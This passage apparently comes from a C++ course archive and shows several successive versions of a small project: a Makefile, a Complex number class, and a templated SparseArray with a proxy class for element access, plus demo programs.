T SparseArray<T>::Interm::operator=(const T &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator=(const Interm& x)
{
T value = x;
return *this = value;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int n)
{
T& location = Provide();
location <<= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int n)
{
T& location = Provide();
location >>= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
++location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
--location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template <class T>
SparseArray<T>::Interm::operator T() const
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return master->defval;
}
sparse.hppC++ / 60 lines
#ifndef SPARSE_HPP
#define SPARSE_HPP
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T() const;
T operator=(const T& x);
T operator=(const Interm& x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int n);
T operator>>=(int n);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->() const { return *this; }
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const T& operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
#endif
02c (10-07)
MakefileMake / 20 lines
MODULES = complex sparse
SRCMODULES = $(wildcard $(MODULES:=.cpp))
HEADERS = $(wildcard $(MODULES:=.hpp))
OBJMODULES = $(SRCMODULES:.cpp=.o)
PROGRAMS = main
CXXFLAGS = -g -Wall -ansi -pedantic -Wno-long-long -fwrapv
all: $(PROGRAMS)
%.o: %.cpp $(HEADERS)
$(CXX) $(CXXFLAGS) -c $< -o $@
$(PROGRAMS): %: %.cpp $(OBJMODULES) $(HEADERS)
$(CXX) $(CXXFLAGS) $(filter-out %.hpp,$^) $(LDLIBS) -o $@
clean:
rm -f *.o $(PROGRAMS)
complex.cppC++ / 20 lines
#include "complex.hpp"
const Complex& Complex::operator*=(const Complex &c)
{
double r = re * c.re - im * c.im;
double i = re * c.im + im * c.re;
re = r;
im = i;
return *this;
}
const Complex& Complex::operator/=(const Complex &c)
{
double dvs = c.re * c.re + c.im * c.im;
double r = (re * c.re + im * c.im) / dvs;
double i = (im * c.re - re * c.im) / dvs;
re = r;
im = i;
return *this;
}
complex.hppC++ / 34 lines
#ifndef COMPLEX_HPP
#define COMPLEX_HPP
#include <math.h>
class Complex {
double re, im;
public:
Complex(double a_re = 0, double a_im = 0) : re(a_re), im(a_im) {}
double GetRe() const { return re; }
double GetIm() const { return im; }
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
const Complex &operator+=(const Complex &c)
{ re += c.re; im += c.im; return *this; }
const Complex &operator-=(const Complex &c)
{ re -= c.re; im -= c.im; return *this; }
const Complex &operator*=(const Complex &c);
const Complex &operator/=(const Complex &c);
bool operator==(const Complex &c) const
{ return re == c.re && im == c.im; }
bool operator!=(const Complex &c) const { return !(*this == c); }
};
inline Complex operator+(Complex a, const Complex& b) { return a += b; }
inline Complex operator-(Complex a, const Complex& b) { return a -= b; }
inline Complex operator*(Complex a, const Complex& b) { return a *= b; }
inline Complex operator/(Complex a, const Complex& b) { return a /= b; }
#endif
main.cppC++ / 48 lines
#include <stdio.h>
#include "complex.hpp"
#include "sparse.hpp"
void show(const char *what, const Complex& c)
{
printf("%-18s ", what);
printf("%g %+gi", c.GetRe(), c.GetIm());
printf("\n");
}
void test_complex()
{
Complex a(3, 4), b(1, 2), c(3, 4);
show("(3+4i) + (1+2i):", a + b);
show("(3+4i) - (1+2i):", a - b);
show("(3+4i) * (1+2i):", a * b);
show("(3+4i) / (1+2i):", a / b);
c /= c;
show("c /= c:", c);
show("1 + a:", 1 + a);
printf("%-18s %g\n", "|3+4i|:", a.Magnitude());
printf("%-18s %d %d\n", "==, !=:", a == Complex(3, 4), a != b);
}
void test_sparse()
{
SparseArray<Complex> s(Complex(0, 0));
const SparseArray<Complex>& c = s;
s[1] = Complex(1, 2);
s[5] = Complex(3, 4);
s[5] *= c[1];
s[7] += Complex(0, 1);
show("s[1]:", c[1]);
show("s[5]:", c[5]);
show("s[7]:", c[7]);
show("s[9]:", c[9]);
s[1] -= c[1];
printf("%-18s %d\n", "stored:", s.NonzeroCount());
}
int main()
{
test_complex();
test_sparse();
return 0;
}
sparse.hppC++ / 298 lines
#ifndef SPARSE_HPP
#define SPARSE_HPP
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T() const;
T operator=(const T& x);
T operator=(const Interm& x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int n);
T operator>>=(int n);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->() const { return *this; }
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const T& operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
const T& SparseArray<T>::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template<class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
template <class T>
T SparseArray<T>::Interm::operator=(const T &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator=(const Interm& x)
{
T value = x;
return *this = value;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int n)
{
T& location = Provide();
location <<= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int n)
{
T& location = Provide();
location >>= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
++location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
--location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template <class T>
SparseArray<T>::Interm::operator T() const
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return master->defval;
}
#endif
02d (10-07)
MakefileMake / 20 lines
MODULES = complex sparse
SRCMODULES = $(wildcard $(MODULES:=.cpp))
HEADERS = $(wildcard $(MODULES:=.hpp))
OBJMODULES = $(SRCMODULES:.cpp=.o)
PROGRAMS = main
CXXFLAGS = -g -Wall -ansi -pedantic -Wno-long-long -fwrapv
all: $(PROGRAMS)
%.o: %.cpp $(HEADERS)
$(CXX) $(CXXFLAGS) -c $< -o $@
$(PROGRAMS): %: %.cpp $(OBJMODULES) $(HEADERS)
$(CXX) $(CXXFLAGS) $(filter-out %.hpp,$^) $(LDLIBS) -o $@
clean:
rm -f *.o $(PROGRAMS)
complex.cppC++ / 20 lines
#include "complex.hpp"
const Complex& Complex::operator*=(const Complex &c)
{
double r = re * c.re - im * c.im;
double i = re * c.im + im * c.re;
re = r;
im = i;
return *this;
}
const Complex& Complex::operator/=(const Complex &c)
{
double dvs = c.re * c.re + c.im * c.im;
double r = (re * c.re + im * c.im) / dvs;
double i = (im * c.re - re * c.im) / dvs;
re = r;
im = i;
return *this;
}
complex.hppC++ / 37 lines
#ifndef COMPLEX_HPP
#define COMPLEX_HPP
#include <math.h>
class Complex {
double re, im;
public:
Complex(double a_re = 0, double a_im = 0) : re(a_re), im(a_im) {}
double GetRe() const { return re; }
double GetIm() const { return im; }
// void SetRe(double r) { re = r; }
// void SetIm(double i) { im = i; }
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
const Complex &operator+=(const Complex &c)
{ re += c.re; im += c.im; return *this; }
const Complex &operator-=(const Complex &c)
{ re -= c.re; im -= c.im; return *this; }
const Complex &operator*=(const Complex &c);
const Complex &operator/=(const Complex &c);
bool operator==(const Complex &c) const
{ return re == c.re && im == c.im; }
bool operator!=(const Complex &c) const { return !(*this == c); }
};
inline Complex operator+(Complex a, const Complex& b) { return a += b; }
inline Complex operator-(Complex a, const Complex& b) { return a -= b; }
inline Complex operator*(Complex a, const Complex& b) { return a *= b; }
inline Complex operator/(Complex a, const Complex& b) { return a /= b; }
#endif
main.cppC++ / 29 lines
#include <stdio.h>
#include "complex.hpp"
#include "sparse.hpp"
void print(const SparseArray<Complex> &s, int i)
{
printf("%g+%gi\n", s[i].GetRe(), s[i].GetIm());
}
// void f(const SparseArray<Complex> &s)
// {
// s[1].SetRe(3);
// }
int main()
{
SparseArray<Complex> s(Complex(0, 0));
s[1] = Complex(1, 2);
// s[1] <<= 2;
// s[1].GetRe();
// f(s);
print(s, 2);
return 0;
}
sparse.hppC++ / 298 lines
#ifndef SPARSE_HPP
#define SPARSE_HPP
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T() const;
T operator=(const T& x);
T operator=(const Interm& x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int n);
T operator>>=(int n);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->() const { return *this; }
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const T& operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
const T& SparseArray<T>::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template<class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
template <class T>
T SparseArray<T>::Interm::operator=(const T &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator=(const Interm& x)
{
T value = x;
return *this = value;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int n)
{
T& location = Provide();
location <<= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int n)
{
T& location = Provide();
location >>= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
++location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
--location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template <class T>
SparseArray<T>::Interm::operator T() const
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return master->defval;
}
#endif
02e (10-07)
MakefileMake / 20 lines
MODULES = complex sparse
SRCMODULES = $(wildcard $(MODULES:=.cpp))
HEADERS = $(wildcard $(MODULES:=.hpp))
OBJMODULES = $(SRCMODULES:.cpp=.o)
PROGRAMS = main
CXXFLAGS = -g -Wall -ansi -pedantic -Wno-long-long -fwrapv
all: $(PROGRAMS)
%.o: %.cpp $(HEADERS)
$(CXX) $(CXXFLAGS) -c $< -o $@
$(PROGRAMS): %: %.cpp $(OBJMODULES) $(HEADERS)
$(CXX) $(CXXFLAGS) $(filter-out %.hpp,$^) $(LDLIBS) -o $@
clean:
rm -f *.o $(PROGRAMS)
complex.cppC++ / 20 lines
#include "complex.hpp"
const Complex& Complex::operator*=(const Complex &c)
{
double r = re * c.re - im * c.im;
double i = re * c.im + im * c.re;
re = r;
im = i;
return *this;
}
const Complex& Complex::operator/=(const Complex &c)
{
double dvs = c.re * c.re + c.im * c.im;
double r = (re * c.re + im * c.im) / dvs;
double i = (im * c.re - re * c.im) / dvs;
re = r;
im = i;
return *this;
}
complex.hppC++ / 34 lines
#ifndef COMPLEX_HPP
#define COMPLEX_HPP
#include <math.h>
class Complex {
double re, im;
public:
Complex(double a_re = 0, double a_im = 0) : re(a_re), im(a_im) {}
double GetRe() const { return re; }
double GetIm() const { return im; }
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
const Complex &operator+=(const Complex &c)
{ re += c.re; im += c.im; return *this; }
const Complex &operator-=(const Complex &c)
{ re -= c.re; im -= c.im; return *this; }
const Complex &operator*=(const Complex &c);
const Complex &operator/=(const Complex &c);
bool operator==(const Complex &c) const
{ return re == c.re && im == c.im; }
bool operator!=(const Complex &c) const { return !(*this == c); }
};
inline Complex operator+(Complex a, const Complex& b) { return a += b; }
inline Complex operator-(Complex a, const Complex& b) { return a -= b; }
inline Complex operator*(Complex a, const Complex& b) { return a *= b; }
inline Complex operator/(Complex a, const Complex& b) { return a /= b; }
#endif
main.cppC++ / 22 lines
#include <stdio.h>
#include "complex.hpp"
#include "sparse.hpp"
int main()
{
Complex zero(0, 0), z(1, -2), w(3, 4);
SparseArray<Complex*> s(&zero); /* elements are pointers */
int i;
s[1] = &z;
s[4] = &w;
printf("%g\n", s[4]->Magnitude());
for (i = 0; i < 6; i++)
printf("s[%d]: %g%+gi\n", i, s[i]->GetRe(), s[i]->GetIm());
printf("stored: %d\n", s.NonzeroCount());
*s[1] += Complex(10, 10); /* changes z through the pointer */
printf("z: %g%+gi\n", z.GetRe(), z.GetIm());
return 0;
}
sparse.hppC++ / 298 lines
#ifndef SPARSE_HPP
#define SPARSE_HPP
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T() const;
T operator=(const T& x);
T operator=(const Interm& x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int n);
T operator>>=(int n);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->() const { return *this; }
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const T& operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
const T& SparseArray<T>::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template<class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
template <class T>
T SparseArray<T>::Interm::operator=(const T &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator=(const Interm& x)
{
T value = x;
return *this = value;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int n)
{
T& location = Provide();
location <<= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int n)
{
T& location = Provide();
location >>= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
++location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
--location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template <class T>
SparseArray<T>::Interm::operator T() const
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return master->defval;
}
#endif
02f (10-07)
MakefileMake / 20 lines
MODULES = complex sparse
SRCMODULES = $(wildcard $(MODULES:=.cpp))
HEADERS = $(wildcard $(MODULES:=.hpp))
OBJMODULES = $(SRCMODULES:.cpp=.o)
PROGRAMS = main
CXXFLAGS = -g -Wall -ansi -pedantic -Wno-long-long -fwrapv
all: $(PROGRAMS)
%.o: %.cpp $(HEADERS)
$(CXX) $(CXXFLAGS) -c $< -o $@
$(PROGRAMS): %: %.cpp $(OBJMODULES) $(HEADERS)
$(CXX) $(CXXFLAGS) $(filter-out %.hpp,$^) $(LDLIBS) -o $@
clean:
rm -f *.o $(PROGRAMS)
complex.cppC++ / 20 lines
#include "complex.hpp"
const Complex& Complex::operator*=(const Complex &c)
{
double r = re * c.re - im * c.im;
double i = re * c.im + im * c.re;
re = r;
im = i;
return *this;
}
const Complex& Complex::operator/=(const Complex &c)
{
double dvs = c.re * c.re + c.im * c.im;
double r = (re * c.re + im * c.im) / dvs;
double i = (im * c.re - re * c.im) / dvs;
re = r;
im = i;
return *this;
}
complex.hppC++ / 35 lines
#ifndef COMPLEX_HPP
#define COMPLEX_HPP
#include <math.h>
class Complex {
double re, im;
public:
Complex(double a_re = 0, double a_im = 0) : re(a_re), im(a_im) {}
double GetRe() const { return re; }
double GetIm() const { return im; }
void Set(double a_re, double a_im) { re = a_re; im = a_im; }
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
const Complex &operator+=(const Complex &c)
{ re += c.re; im += c.im; return *this; }
const Complex &operator-=(const Complex &c)
{ re -= c.re; im -= c.im; return *this; }
const Complex &operator*=(const Complex &c);
const Complex &operator/=(const Complex &c);
bool operator==(const Complex &c) const
{ return re == c.re && im == c.im; }
bool operator!=(const Complex &c) const { return !(*this == c); }
};
inline Complex operator+(Complex a, const Complex& b) { return a += b; }
inline Complex operator-(Complex a, const Complex& b) { return a -= b; }
inline Complex operator*(Complex a, const Complex& b) { return a *= b; }
inline Complex operator/(Complex a, const Complex& b) { return a /= b; }
#endif
main.cppC++ / 30 lines
#include <stdio.h>
#include "complex.hpp"
#include "sparse.hpp"
void show(const char *name, const Complex& c)
{
printf("%-6s %g%+gi\n", name, c.GetRe(), c.GetIm());
}
int main()
{
Complex z(1, -2);
SparseArray<Complex*> s(0); /* default: no object */
s[1] = &z;
s[1]->Set(5, 6);
show("z:", z);
try {
s[9]->Set(100, 100); /* a missing element */
printf("not reached\n");
}
catch (const NullElement& ex) {
printf("element %d has no object\n", ex.Index());
}
if (s[9] != 0) /* or check before using -> */
s[9]->Set(100, 100);
printf("stored: %d\n", s.NonzeroCount());
return 0;
}
sparse.hppC++ / 315 lines
#ifndef SPARSE_HPP
#define SPARSE_HPP
/* thrown by -> when the element holds a null pointer */
class NullElement {
int index;
public:
NullElement(int idx) : index(idx) {}
int Index() const { return index; }
};
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T() const;
T operator=(const T& x);
T operator=(const Interm& x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int n);
T operator>>=(int n);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->() const;
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const T& operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
const T& SparseArray<T>::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template<class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
template <class T>
T SparseArray<T>::Interm::operator=(const T &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator=(const Interm& x)
{
T value = x;
